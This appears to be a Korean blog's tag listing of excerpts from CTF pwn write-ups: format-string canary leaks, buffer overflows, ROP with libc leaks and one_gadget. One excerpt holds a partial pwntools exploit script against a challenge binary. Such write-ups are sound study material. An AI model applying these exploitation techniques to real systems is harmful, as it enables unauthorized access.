일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- string
- anti
- PMA
- shellcraft
- Read
- ASM
- TUCTF
- BOF
- FSB
- practicalmalwareanalysis
- Rookiss
- format
- reversing
- toddler
- CANARY
- writeup
- Leak
- CTF
- Bottle
- Bug
- pwnable.kr
- pico
- Toddler's Bottle
- picoCTF
- Reverse
- rev
- pwn
- 2018
- pwnable
- shellcode
- Today
- Total
목록Leak (4)
제리의 블로그
TUCTF 2018 PWN Timber 요약이번 문제에는 모든 함수에 canary 가 존재한다. 이름 입력하는 부분에서 포맷스트링버그(FSB)가 있다. 포맷스트링으로 canary 를 leak 할 수 있다. 알아낸 canary 로 덮고 RET 를 쉘을 주는 date() 라는 사용자 정의 함수로 덮어주면 된다. from pwn import * e = ELF('./timber') r = e.process() r.recvuntil(': ') # canary leak. FSB r.sendline('%20$p') r.recvuntil(' ') canary = int(r.recvline(), 16) log.success(hex(canary)) r.recvuntil('? ') r.sendline('s') # Super..
SECCON 2018 qualsClassic Pwn121 pt 197 Solvers 요약canary 가 없는 BOF 문제였으며fastcall 방식의 함수 호출규약을 따르기 때문에 gadget 을 모은 다음libc 주소를 leak 하고one_gadget 을 사용하여 쉘을 획득한다. leak 과 쉘 획득을 위한 공격을 동시에 하기 위해서는main 함수로 return 하도록chaining 을 통해 loop 를 만들어 준다. Description Host: classic.pwn.seccon.jp Port: 17354 classic libc-2.23.so $ sha1sum * aa9e979fd5c597526ef30c003bffee474b314e22 classic 56d992a0342a67a887b8dcaae381..
Nihwk CTF 2018 pwn6 주최 측의 치명적인 실수로 문제가 오픈된 사건이 있었던 것 같은데 대회 공정성이 없어지면서 종료 시점 또한 없는 듯 합니다. writeup을 써도 된다기에 이렇게 올립니다. Pwn #6 神奇魔法麵包 2100 你可以解開神奇魔法麵包拿到shell嗎? Please shell it https://nihwkpwn.herokuapp.com/중국어는 번역기 돌려도 모르겠지만 퍼너블인 것은 맞으니까 쉘을 따면 됩니다. nc 0.tcp.ngrok.io 15076 Download: https://nihwkpwn.herokuapp.com/pwnfile Sometimes, the port will be outdated, please wait for refresh접속 정보와 바이너리가 주어집니..
#read #leakinitDescription일단 실행취약점 파악exploit.pyFLAGDescription서버 바이너리에는 정상적으로 플래그가 있습니다 nc 121.170.91.17 9901 init일단 실행# ./init Do you want to do? [R]ead [W]rite [E]xit >>> 메뉴를보니읽고 쓰고가 가능해보임취약점 파악 44 printf("length: ", &v5); // [R]ead 45 __isoc99_scanf("%d", &len); 46 v3 = &buf; 47 read(0, &buf, len); 48 } 49 if ( v5 != 'W' ) 50 break; 51 printf("length: ", &v5); // [W]rite 52 __isoc99_scanf("%d..